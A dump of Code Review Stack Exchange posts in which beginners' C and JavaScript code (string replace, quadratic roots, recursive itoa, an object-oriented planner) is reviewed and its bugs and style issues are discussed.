[ { "body": "<p>The line is equivalent to the following:</p>\n<pre><code>int left;\nif (i - 1 == -1) {\n left = NO_OF_PHILOSOPHERS - 1;\n} else {\n left = i - 1;\n}\n</code></pre>\n<p>Which simplifies to:</p>\n<pre><code>int left = i - 1;\nif (left == -1) {\n left = NO_OF_PHILOSOPHERS - 1;\n}\n</code></pre>\n<p>Which can also be expressed using the modulo operator:</p>\n<pre><code>int left = (i - 1 + NO_OF_PHILOSOPHERS) % NO_OF_PHILOSOPHERS;\n</code></pre>\n<p>The syntax with the question mark is called <a href=\"https://www.freecodecamp.org/news/c-ternary-operator/\" rel=\"nofollow noreferrer\">ternary operator syntax</a>. Which way one chooses to express the code is a matter of preference. I would not use the ternary operator here because I think it over-complicates the code by putting to much logic on the same line.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T11:50:48.723", "Id": "508412", "Score": "0", "body": "Please refrain from answering low-quality questions that are likely to get closed. Once you've answered, that [limits what can be done to improve the question](/help/someone-answers#help-post-body), making it more likely that your efforts are wasted. It's better to wait until the question is properly ready before you answer!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T19:44:11.667", "Id": "508454", "Score": "0", "body": "Makes sense now. Thank you!" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T06:07:41.157", "Id": "257384", "ParentId": "257375", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:04:14.657", "Id": "257375", "Score": "1", "Tags": [ "c", "dining-philosophers" ], "Title": "C code structure" }
257375
<p>How does the following look for doing a string replace in C? Is this approach more common than allocating memory within the function and returning a new string pointer, or is the bring-your-own-buffer more common?</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; // return size of string, -1 if error such as buffer too small // no memory is allocated here, buffer needs to be passed in // Example: str_replace(&quot;Replace me&quot;, &quot;me&quot;, &quot;ME&quot;, buffer, 64); // Returns: 10, buffer is now &quot;Replace ME&quot;. ssize_t str_replace ( const char* input_str, const char* from, const char* to, char* output_buffer, size_t max_size ) { size_t input_len = strlen(input_str); size_t from_size = strlen(from); size_t to_size = strlen(to); // get the output string length; size_t output_len = input_len; char* str_iterator = (char*) input_str; while ((str_iterator=strstr(str_iterator, from))) { output_len += (to_size - from_size); str_iterator += from_size; } if (output_len &gt; max_size) { fprintf(stderr, &quot;Buffer too small for output string.\n&quot;); return -1; } // reset str_iterator, make sure output_buffer is clear str_iterator = (char*) input_str; output_buffer[0] = '\0'; // copy to output buffer // 1. Find the first match of `from` in `input_str` (advancing pointer on input_buffer along way) // 2. Copy the input_str up until the first match to output_buffer // 3. Copy `from` into output_buffer (advance string) // 4. Advance input_buffer pointer by size of `from` // 5. Repeat 2-5 until no more matches // 6. Copy remainder of input_str to output_buffer for (char* match; (match=strstr(str_iterator, from)); str_iterator+= (match-str_iterator) + from_size) { strncpy(output_buffer, str_iterator, match-str_iterator); output_buffer += (match-str_iterator); strncpy(output_buffer, to, to_size); output_buffer += to_size; } // copy remainder if (strlen(str_iterator)) strcpy(output_buffer, str_iterator); return output_len; } </code></pre> <pre><code>int main(void) { char buffer[50]; ssize_t out_size = str_replace(&quot;Replace me&quot;, &quot;me&quot;, &quot;ME&quot;, buffer, 50); if (out_size == -1) printf(&quot;Nope!\n&quot;); else printf(&quot;Response size: %zu.\nResponse string: %s\n&quot;, out_size, buffer); } </code></pre> <blockquote> <p>$ gcc logmain.c -o log; ./log <br /> Response size: 10. <br /> Response string: Replace ME</p> </blockquote> <p>And another alternative:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; // same as above but now with malloc char* str_replace2(const char* input, const char* from, const char* to) { size_t input_len = strlen(input); size_t from_size = strlen(from); size_t to_size = strlen(to); char* str_iterator = (char*) input; // get the output string length; size_t output_len = input_len; while ((str_iterator=strstr(str_iterator, from))) { output_len += (to_size - from_size); str_iterator += from_size; } char *str_out = malloc(output_len); char * const str_out_start = str_out; // const for emphasis it doesn't change if (!str_out) { fprintf(stderr, &quot;Cannot malloc str of size %zu&quot;, output_len); return NULL; } // write to output str str_iterator = (char*) input; for (char* match; (match=strstr(str_iterator, from)); str_iterator+= (match-str_iterator) + from_size) { strncpy(str_out, str_iterator, match-str_iterator); str_out += (match-str_iterator); strncpy(str_out, to, to_size); str_out += to_size; } // copy remainder if (strlen(str_iterator)) strcpy(str_out, str_iterator); return str_out_start; } </code></pre> <p>Additionally, where are comments usually put in C? Above the function? In the function?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T04:09:38.973", "Id": "508384", "Score": "0", "body": "What about not passing a string? or something not properly terminated?" } ]
[ { "body": "<p>Few things to consider.</p>\n<ol start=\"0\">\n<li><p>Why are you writing your own implementation of something that already exists, long history of reliable use with well defined behaviour (fun/assignment - sure, generally - waste of effort likely to lead to problems)?</p>\n</li>\n<li><p>What if <code>input</code>, <code>from</code>, or <code>to</code> are null, or not valid (not <code>\\0</code> terminated), OR overlap in any way (will it work)?</p>\n</li>\n<li><p><code>from</code> and <code>to</code>, might imply to some people replace from here, to there. Names are important - look for things that are self-evident. Perhaps <code>matchToReplace</code> and <code>replaceMatchWith</code> - a bit wordy, but hopefully less ambiguous.</p>\n</li>\n<li><p>What happens if <code>from</code> is empty - what is the sensible result (document it)?</p>\n</li>\n<li><p>Don't you need to malloc one more than the desired length (for the terminating <code>\\0</code>) [didn't read the algorithm carefully enough sorry].</p>\n</li>\n<li><p>Make sure you have test cases checking all the above, but also confirming that when you copy 0 length things, or 1 - that everything is copied properly.</p>\n</li>\n<li><p>Documenting - what tool are you using to publish it? Certainly doesn't hurt to put a comment before - but remember what people are looking at is the headers - for the declaration, not the implementation (generally at least).</p>\n</li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T04:25:09.530", "Id": "508385", "Score": "1", "body": "\"Why are you writing your own implementation...\" I'm a beginner in C and just practicing doing things. Reading others code and implementing things, etc." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T18:05:07.457", "Id": "508450", "Score": "0", "body": "maybe this is a bit too much to ask, but would you be able to suggest solutions for 1-7. It can even be a sentence without any code, just some ideas for when I implement all your suggestions. For example, what are choices for doing `tests` or `documenting` ?" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T04:17:26.377", "Id": "257382", "ParentId": "257376", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T01:29:39.910", "Id": "257376", "Score": "2", "Tags": [ "c", "reinventing-the-wheel" ], "Title": "Doing a string replace" }
257376
<p>I am creating a planner/scheduling app using objects. I am just a beginner with object oriented programming, so any tips on how to better structure my classes would be very helpful.</p> <hr /> <p><strong>Program Basics</strong></p> <p>The program consists of &quot;objectives&quot; and &quot;checkpoints.&quot; An objective is essentially a goal, and checkpoints are smaller steps that must be completed to reach that goal. Objectives and checkpoints all have &quot;deadlines&quot; (due dates) and are part of the calendar object. Eventually, I'd like to make a calendar display that shows the objectives and checkpoints.</p> <hr /> <p><strong>Code</strong></p> <pre><code>// GUID generator function uuidv4() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r &amp; 0x3 | 0x8); return v.toString(16); }); } // Adds add day feature to Date prototype Date.prototype.addDays = function(days) { var date = new Date(this.valueOf()); date.setDate(date.getDate() + days); return date; } // Parent object for all data var calendar = { // Contains all objectives objectives: new Array(), // Checkpoints must be completed in order? strict: true, // Create objective, add to list, and sort list by deadline addObjective: function(name, deadline, description) { this.objectives.push(new Objective(name, deadline, description)); this.sortObjectives(); }, getObjectives: function() { return this.objectives; }, setStrict: function(strict) { this.strict = strict; }, // Sort objectives by deadline, most recent last sortObjectives() { this.objectives.sort((a, b) =&gt; (a.deadline &gt; b.deadline) ? 1 : -1); } } class Objective { constructor(name, deadline, description) { this.name = name; this.deadline = new Date(deadline); this.description = description; this.checkpoints = new Array(); this.status = false; this.id = uuidv4(); } // Push back deadline moveDeadline(days=0, moveAll=false) { this.deadline = this.deadline.addDays(days) // Move all checkpoints after current date unless incomplete if (moveAll) { let today = new Date(); for (let i = 0; i &lt; this.checkpoints.length; i++) { if (this.checkpoints[i].deadline &lt; today || !this.checkpoints[i].status) { this.checkpoints[i].deadline.addDays(days); } } } } // Remove objective from calendar object delete() { calendar.objectives.splice(calendar.objectives.indexOf(this), 1); } // Create checkpoint, add to list, sort order by deadline addCheckpoint(name, deadline, description) { this.checkpoints.push(new Checkpoint(name, deadline, description, this.id)); this.sortCheckpoints(); } getName() { return this.name; } setName(name) { this.name = name; } getDeadline() { return this.deadline.toDateString(); } setDeadline(deadline) { this.deadline = new Date(deadline); } getDescription() { return this.description; } setDescription(description) { this.description = description; } getStatus() { return this.status; } // Checks whether all checkpoints are complete and determines status, invoked by Checkpoint.prototype.setStatus() setStatus() { let checkpoints = this.getCheckpoints(); let allComplete = true; // Iterates through checkpoints for (let i = 0; i &lt; checkpoints.length; i++) { // If at least one checkpoint is incomplete, objective status is false if (!checkpoints[i].status) { allComplete = false; break; } } if (allComplete) { this.status = true; } else { this.status = false; } } getCheckpoints() { return this.checkpoints; } getid() { return this.id; } // Sort checkpoints by deadline, most recent last sortCheckpoints() { this.checkpoints.sort((a, b) =&gt; (a.deadline &gt; b.deadline) ? 1 : -1); } } class Checkpoint { constructor(name, deadline, description, id) { this.name = name; this.deadline = new Date(deadline); this.description = description; this.status = false; this.id = uuidv4(); this.objectiveid = id; } // Push back deadline moveDeadline(days=0, moveAll=false) { this.deadline = this.deadline.addDays(days) // Move all checkpoints after this checkpoint deadline if (moveAll) { for (let i = 0; i &lt; this.getObjective().getCheckpoints().length; i++) { if (this.getObjective().getCheckpoints()[i].deadline &lt;= this.deadline &amp;&amp; this.getObjective().getCheckpoints()[i] != this) { this.getObjective().getCheckpoints()[i].deadline.addDays(days); } } } } // Remove checkpoint from objective object delete() { let objective = this.getObjective(); objective.checkpoints.splice(objective.checkpoints.indexOf(this), 1); } getName() { return this.name; } setName(name) { this.name = name; } getDeadline() { return this.deadline.toDateString(); } setDeadline(deadline) { this.deadline = new Date(deadline); } getDescription() { return this.description; } setDescription(description) { this.description = description; } getStatus() { return this.status; } // Update checkpoint status setStatus(status) { if (status == true) { if (calendar.strict) { let previousCheckpoints = this.getObjective().getCheckpoints().slice(0, this.getObjective().getCheckpoints().indexOf(this)); let strictCondition = true; // Checks if all preceding checkpoints are completed if &quot;strict&quot; progress is enabled for (let i = 0; i &lt; previousCheckpoints.length; i++) { if (!previousCheckpoints[i].status) { strictCondition = false; break; } } if (strictCondition) { this.status = true; } else { console.log('must complete preceding checkpoints'); } } else { this.status = true; } } // No conditions for reverting checkpoint to incomplete else if (status == false) { this.status = false; } // Check objective status this.getObjective().setStatus(); } getid() { return this.id; } getObjectiveid() { return this.objectiveid; } // Return reference to parent objective object getObjective() { for (let i = 0; i &lt; calendar.objectives.length; i++) { let objective = calendar.objectives[i] if (objective.getid() == this.objectiveid) { return(objective); } } } } <span class="math-container">```</span> </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T23:20:54.787", "Id": "509016", "Score": "0", "body": "Welcome to Code Review! Would you please [edit] your post to provide sample usage code? I could utilize the API of the code but am curious what your recommendations would be..." } ]
[ { "body": "<p>I notice that you have many member functions entitled <code>getX</code> or <code>setX</code>. It would be much more idiomatic in JavaScript to use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get\" rel=\"nofollow noreferrer\">getters</a> and <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set\" rel=\"nofollow noreferrer\">setters</a> for this purpose.</p>\n<p>e.g. instead of <code>getObjective</code></p>\n<pre class=\"lang-javascript prettyprint-override\"><code>get objective() {\n for (const objective of calendar.objectives) {\n if (objective.id === this.objectiveid) {\n return objective;\n }\n }\n}\n</code></pre>\n<p>Edit: A few other changes I'd make to your code, as seen in the snippet above, are replacing C-style <code>for</code> loops with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of\" rel=\"nofollow noreferrer\"><code>for...of</code></a> loops, preferring <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\" rel=\"nofollow noreferrer\"><code>const</code></a> to <code>let</code> and <code>let</code> to <code>var</code>, and (important!) replacing <code>==</code> with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality\" rel=\"nofollow noreferrer\"><code>===</code></a>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T17:41:27.967", "Id": "257743", "ParentId": "257379", "Score": "1" } }, { "body": "<h1>Class Structure</h1>\n<blockquote>\n<p>Objectives and checkpoints [...] are part of the calendar object.</p>\n</blockquote>\n<p>The given description would result in the following (simplified) UML-Diagram, where the <code>Calendar</code> is an <em>aggregate</em> of <code>Objective</code> and <code>Checkpoint</code>:</p>\n<p><img src=\"https://i.stack.imgur.com/fNJky.png\" alt=\"enter image description here\" /></p>\n<p>But the code would give us the following (simplified) UML-Diagram, where the <code>Calendar</code> knows <code>Objective</code> and <code>Checkpoint</code> and vise versa:</p>\n<p><img src=\"https://i.stack.imgur.com/Qo6Nl.png\" alt=\"enter image description here\" /></p>\n<p>The bidirectional relationship allows the use of non-intuitive and inconsistent methods. The method of the <code>delete</code> is in<code> Objective</code> and <code>Checkpoint</code> but the<code> add</code> is in <code>Calendar</code>.</p>\n<p>Adding and deleting should be in the aggregate, the <code>Calendar</code>, as it is the most intuitive.</p>\n<h1>Flag Arguments</h1>\n<blockquote>\n<p>Flag arguments are ugly. Passing a boolean into a function is a truly terrible practice. <strong>It immediately complicates the signature of the method, loudly proclaiming that this function does more than one thing.</strong> It does one thing if the flag is true and another if the flag is false!</p>\n<p>— <a href=\"https://tgitdata.blob.core.windows.net/trentgardner/eBooks/Clean%20Code%20-%20A%20Handbook%20of%20Agile%20Software%20Craftsmanship.pdf#page=72\" rel=\"nofollow noreferrer\">Clean Code, Page 41, Robert C. Martin</a></p>\n</blockquote>\n<p>We can split the <code>moveDeadline</code> methods in <code>Objective</code> and <code>Checkpoint</code> into two methods. This would result into two methods that are simpler to read and use, because they get smaller and we lose the <code>if</code>-statement:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>moveDeadlineBy(days=0) {\n this.deadline = this.deadline.addDays(days)\n}\n\nmoveAllDeadlinesBy(days=0) {\n let today = new Date();\n for (let i = 0; i &lt; this.checkpoints.length; i++) {\n if (this.checkpoints[i].deadline &lt; today || !this.checkpoints[i].status) {\n this.checkpoints[i].deadline.addDays(days);\n }\n }\n}\n</code></pre>\n<h1>The Object itself as an Argument</h1>\n<blockquote>\n<pre class=\"lang-javascript prettyprint-override\"><code>addObjective: function (name, deadline, description) {\n this.objectives.push(new Objective(name, deadline, description));\n this.sortObjectives();\n}\n</code></pre>\n</blockquote>\n<p>Instead of passing in every little argument that <code>Objective</code>'s constructor uses, we can pass in the <code>Objective</code>'s object itself. If the constructor of <code>Objective</code> is changed, those changes need not be carried over to this method. Because beforehand we would have had to change all additional or omitted arguments of the constructor with this method as well.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>addObjective(objective) {\n this.objectives.push(objective)\n this.sortObjectives()\n}\n</code></pre>\n<h1>Law of Demeter</h1>\n<blockquote>\n<p>Each unit should only talk to its friends; don't talk to strangers.</p>\n<p>— <a href=\"https://en.wikipedia.org/wiki/Law_of_Demeter\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Law_of_Demeter</a></p>\n</blockquote>\n<p>Chained calls like the following violate the Law of Demeter:</p>\n<ul>\n<li><code>calendar.objectives.splice(/*...*/)</code></li>\n<li><code>calendar.objectives.indexOf(/*...*/)</code></li>\n<li><code>calendar.objectives.length</code></li>\n</ul>\n<p>Beceause <code>calendar</code> is the &quot;frind&quot; of the object that calls <code>calendar</code> but the caller calls methods of the &quot;frinds&quot; of <code>calendar</code> like. Instead we could implement methods on <code>calendar</code> that &quot;hides&quot; the &quot;friends&quot;:</p>\n<ul>\n<li><code>calendar.deleteBy(/*...*/)</code></li>\n<li><code>calendar.getBy(/*...*/)</code></li>\n<li><code>calendar.size()</code></li>\n</ul>\n<p>This principle based on the idea of <em>Encapsulation</em> in Object Oriented Programming, where an object should hide the internals to the outer world and makes them only accessible by interacting with the object itself instead with the internals.</p>\n<p><img src=\"https://raw.githubusercontent.com/rgabisch/presentations/master/object-oriented-programming/images/encapsulation.png\" alt=\"Alt-Text\" /></p>\n<h1>Class Structure, Again</h1>\n<p>I would suggest a class structure that could look like the following UML-Diagram</p>\n<p><img src=\"https://i.stack.imgur.com/f6qNc.png\" alt=\"dsfs\" /></p>\n<p>This would look in code like he following</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>class Calendar {\n constructor() { \n this.objectives = {}\n }\n\n add(objective) { \n this.objectives[objective.id] = objective\n }\n\n deleteBy(id) { /* ... */ } \n\n getBy(id) { \n return this.objectives[id]\n }\n\n getAll() { /* ... */ }\n\n size() { /* ... */ }\n\n sort() { /* ... */ }\n\n setStrict(strict) { /* ... */ }\n}\n\nclass Objective {\n constructor(name, deadline, description) { /* ...*/ }\n\n add(checkpoint) { /* ... */ }\n\n getCheckpointBy(id) { /* ... */ }\n\n moveDeadlineBy(days=0) { /* ... */ }\n\n moveAllDeadlinesBy(days=0) { /* ... */ }\n\n // getter, setter if needed\n}\n\nclass Checkpoint {\n constructor(name, deadline, description, id) { /* ... */ }\n\n fulfilled() { /* ... */ }\n\n unfulfilled() { /* ... */ }\n\n // getter, setter if needed\n}\n</code></pre>\n<pre class=\"lang-javascript prettyprint-override\"><code>const calendar = new Calendar()\ncalendar.add(new Objective(/* ... */))\n\nconst objectives = calendar.getAll()\nconst objective = objectives[0]\n\nobjective.add(new Checkpoint(/* ... */))\nobjective.moveDeadlineBy(5)\n\nconst checkpoint = objective.getBy(/* id */)\ncheckpoint.fulfilled()\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-28T19:56:59.390", "Id": "510267", "Score": "0", "body": "Thank you! What would the code for the getBy function look like?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-29T18:55:16.253", "Id": "510366", "Score": "1", "body": "@MorrisonBower I added the implementation - fell free to ask additional questions :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T15:45:21.070", "Id": "510519", "Score": "0", "body": "When I run the fulfilled method on Checkpoint, is there a way to call a method on the parent objective object (that will check if all checkpoints have been fulfilled)? I know that Checkpoint isn't supposed to be able to access Objective, so how would I do this?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T16:36:44.197", "Id": "510520", "Score": "1", "body": "@MorrisonBower, you could add a Method `fullfillBy(id)` to `Objective` which could call the `fullfilled` method of a `Checkpoint` and do additional things." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-27T13:33:34.417", "Id": "258767", "ParentId": "257379", "Score": "1" } } ]
{ "AcceptedAnswerId": "258767", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T03:25:48.817", "Id": "257379", "Score": "4", "Tags": [ "javascript", "object-oriented", "classes" ], "Title": "Javascript Object Oriented Planner App" }
257379
<p>A code that determines the roots of a quadratic equation. Also, determine the following based on the discriminant <em>b² – 4ac</em>:</p> <blockquote> <p>If <em>b² − 4ac</em> is <strong>positive</strong>, display: “There are TWO REAL SOLUTIONS.”</p> <p>If <em>b² − 4ac</em> is <strong>zero</strong>, display: “There is ONLY ONE REAL SOLUTION.”</p> <p>If <em>b² − 4ac</em> is <strong>negative</strong>, display: “There are TWO COMPLEX SOLUTIONS.”</p> </blockquote> <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; int main(){ int a, b, c, d; double root1_real, root2_real, root1_complex, root1_i, root2_complex, root2_i, root_zero; printf(&quot;Enter a, b and c where a*x*x + b*x + c = 0\n&quot;); scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c); d = b * b - 4 * a * c; if(d &gt; 0){ // Positive root1_real = (-b + sqrt(d)) / (2*a); root2_real = (-b - sqrt(d)) / (2*a); printf(&quot;First Root : %.2lf\n&quot;, root1_real); printf(&quot;Second Root : %.2lf\n&quot;, root2_real); printf(&quot;There are TWO REAL SOLUTIONS\n&quot;); }else if(d &lt; 0){ // Negative root1_complex = -b / (2 * a); root1_i = sqrt(-d) / (2 * a); root2_complex = -b / (2 * a); root2_i = sqrt(-d) / (2 * a); printf(&quot;First root : %.2lf + i%.2lf\n&quot;, root1_complex, root1_i); printf(&quot;Second root : %.2lf + i%.2lf\n&quot;, root2_complex, root2_i); printf(&quot;There are TWO COMPLEX SOLUTIONS\n&quot;); }else{ // Zero root_zero = (-b + sqrt(d)) / (2*a); printf(&quot;Root : %.2lf\n&quot;, root_zero); printf(&quot;There is ONLY ONE REAL SOLUTION\n&quot;); } return 0; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T06:56:50.293", "Id": "508394", "Score": "3", "body": "In case `d < 0` you print two identical values. Copy-paste error?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:07:14.450", "Id": "508471", "Score": "0", "body": "What result would your want if `a==0` or `a==0 and `b==0`?" } ]
[ { "body": "<p><code>int main(void)</code> is preferable, as that's clear about the number of arguments.</p>\n<p>I don't understand why the coefficients must be integers - surely a quadratic equation can have any real coefficients?</p>\n<p>We don't test whether the <code>scanf()</code> actually converted all three inputs. If we are given something that's not an integer (perhaps a different kind of number, perhaps just garbage input), then the program will proceed with incorrect data, and produce output that might be plausible, instead of a sensible error message. We need something more like:</p>\n<pre><code>double a, b, c;\nif (scanf(&quot;%lf %lf %lf&quot;, &amp;a, &amp;b, &amp;c) != 3) {\n fputs(&quot;Invalid input\\n&quot;, stderr);\n return 1;\n}\n</code></pre>\n<p>There is another case of invalid input that's not checked - if <code>a</code> is zero, we don't want to divide by it.</p>\n<p>You seem to have got confused which part is real and which imaginary here:</p>\n<pre><code> root1_complex = -b / (2 * a); root1_i = sqrt(-d) / (2 * a);\n root2_complex = -b / (2 * a); root2_i = sqrt(-d) / (2 * a);\n</code></pre>\n<p>If we use better variable names, and reduce their scope a bit, we can make that simpler:</p>\n<pre><code> double real = -b / (2 * a);\n double imag = sqrt(-d) / (2 * a);\n</code></pre>\n<p>And we can do all the printing in a single call to <code>printf</code>:</p>\n<pre><code> printf(&quot;First root : %.2f + i%.2lf\\n&quot;\n &quot;Second root : %.2lf + i%.2lf\\n&quot;\n &quot;There are TWO COMPLEX SOLUTIONS\\n&quot;,\n real, -imag, real, imag);\n</code></pre>\n<p>When we know <code>d</code> is zero, there's really no point computing its square root:</p>\n<pre><code> } else { // Zero\n root_zero = -b / (2*a);\n</code></pre>\n<p>As suggested in a comment, it might also be worth computing that common part of the three expressions to outside the <code>if</code>/<code>else</code>:</p>\n<pre><code>const double real = -b / a / 2;\nif (d &gt; 0) { // Positive\n double root = sqrt(d) / a / 2;\n ⋮\n} else if (d &lt; 0) { // Negative\n double imag = sqrt(-d) / a / 2;\n ⋮\n} else { // Zero\n ⋮\n}\n</code></pre>\n<hr />\n<p>Here's a lightly modified version with my suggestions applied:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;math.h&gt;\n\nint main(void)\n{\n printf(&quot;Enter a, b and c where ax² + bx + c = 0\\n&quot;);\n double a, b, c;\n if (scanf(&quot;%lf%lf%lf&quot;, &amp;a, &amp;b, &amp;c) != 3) {\n fputs(&quot;Invalid input\\n&quot;, stderr);\n return 1;\n }\n if (!a) {\n fputs(&quot;Quadratic term must not be zero\\n&quot;, stderr);\n return 1;\n }\n\n const double d = b * b - 4 * a * c;\n\n printf(&quot;Finding the roots of %gx² + %gb + %g = 0\\n&quot;, a, b, c);\n\n const double real = -b / a / 2;\n if (d &gt; 0) {\n double root = sqrt(d) / a / 2;\n printf(&quot;First Root: %.4g\\n&quot;\n &quot;Second Root: %.4g\\n&quot;\n &quot;There are TWO REAL SOLUTIONS\\n&quot;,\n real - root, real + root);\n } else if (d &lt; 0) {\n double imag = sqrt(-d) / a / 2;\n printf(&quot;First root: %.4g + %.4gi\\n&quot;\n &quot;Second root: %.4g + %.4gi\\n&quot;\n &quot;There are TWO COMPLEX SOLUTIONS\\n&quot;,\n real, -imag, real, imag);\n } else { // d == 0\n printf(&quot;Root: %.4g\\n&quot;\n &quot;There is ONLY ONE REAL SOLUTION\\n&quot;,\n real);\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:40:04.103", "Id": "508501", "Score": "0", "body": "Yes, very good point (excuse the pun)." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T11:40:45.960", "Id": "257393", "ParentId": "257386", "Score": "6" } }, { "body": "<p>Here are some things that may help you improve your program. Since the other review hits most of the important parts, I'll just mention a few things.</p>\n<h2>Use standard library functions</h2>\n<p>Since C99, we have had <code>&lt;complex.h&gt;</code> which contains a number of handy <a href=\"https://en.cppreference.com/w/c/numeric/complex\" rel=\"nofollow noreferrer\">complex number</a> functions and features. Using them greatly simplifies the program:</p>\n<pre><code>// calculate the determinant\ndouble d = b * b - 4 * a * c;\n// calculate the roots of the equation\ndouble complex root[2] = { \n (-b + csqrt(d))/2/a, \n (-b - csqrt(d))/2/a\n};\n</code></pre>\n<h2>Simplify printf statements</h2>\n<p>Using the above calculations, the printf statements become much simpler:</p>\n<pre><code>if (d &gt; 0) {\n printf(&quot;First root : %.2lf\\nSecond Root : %.2lf\\n&quot;\n &quot;There are TWO REAL SOLUTIONS\\n&quot;, \n creal(root[0]), creal(root[1]));\n} else if (d &lt; 0) {\n printf(&quot;First root : %.2lf + i%.2lf\\n&quot;\n &quot;Second Root : %.2lf + i%.2lf\\n&quot;\n &quot;There are TWO COMPLEX SOLUTIONS\\n&quot;, \n creal(root[0]), cimag(root[0]), \n creal(root[1]), cimag(root[1]));\n} else {\n printf(&quot;Root : %.2lf\\nThere is ONLY ONE REAL SOLUTION\\n&quot;, \n creal(root[0]));\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T12:36:44.287", "Id": "257396", "ParentId": "257386", "Score": "5" } } ]
{ "AcceptedAnswerId": "257393", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T06:22:49.260", "Id": "257386", "Score": "5", "Tags": [ "c", "mathematics" ], "Title": "Determine the roots of a Quadratic Equation" }
257386
<p>Here is a basic itoa function that I've written trying to use recursion:</p> <pre><code>void itoa(int number, char buffer[]) { static int idx=0, size=0; if (number == 0) { buffer[size] = '\0'; idx = size = 0; // reset for next call } else { size++, idx++; itoa(number/10, buffer); buffer[size-idx--] = (number % 10) + '0'; } } </code></pre> <p>How does it look? It is not thread-safe due to the static, but is that an issue for a function such as this? If so, how could I update that? What other ways could I make improvements to it?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T07:23:28.757", "Id": "508396", "Score": "4", "body": "_How does it look?_ - scary. Besides, if `number` is 0 to begin with, it doesn't give the correct result." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T11:49:51.283", "Id": "508411", "Score": "0", "body": "Why did you want a recursive function? That's usually a poor choice in C if there's a simple iterative version possible." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:33:46.223", "Id": "508424", "Score": "0", "body": "How do you know the buffer is big enough? The recursion doesn't seem to place things in the right place... Couldn't you just use `sprintf`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:55:15.820", "Id": "508429", "Score": "0", "body": "@MrR 1. It's up to caller to provide the buffer long enough. 3. I suppose the `printf` functions family utilizes the same routine for `int` arguments as `itoa()` does, so redirecting `itoa` to `sprintf` may be a kind of an infinite loop...." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:00:23.817", "Id": "508430", "Score": "0", "body": "@CiaPan this is the OP own function not the builtin - so should be okay." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:01:14.883", "Id": "508431", "Score": "1", "body": "Your code doesn't seem to care about negative values of `number`..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:27:56.057", "Id": "508473", "Score": "0", "body": "@TobySpeight I see. out of curiosity, why would recursion be different in C than any other language though?" } ]
